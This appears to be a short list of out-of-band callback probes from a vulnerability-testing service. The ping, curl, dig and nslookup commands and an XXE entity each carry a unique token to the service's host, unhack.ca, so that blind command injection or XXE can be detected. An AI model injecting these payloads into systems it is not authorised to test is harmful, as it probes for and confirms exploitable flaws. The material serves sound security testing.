$ ping -c1 -p 009e89a7a0a59dfa2fb28a8a1459cf00 unhack.ca
 

$ curl http://unhack.ca/p/9e89a7a0a59dfa2fb28a8a1459cf
 

$ dig 9e89a7a0a59dfa2fb28a8a1459cf @unhack.ca
 

$ dig 9e89a7a0a59dfa2fb28a8a1459cf.ns.unhack.ca
 

C:\> nslookup 9e89a7a0a59dfa2fb28a8a1459cf unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/9e89a7a0a59dfa2fb28a8a1459cf">]>
    <foo>&xxe;</foo>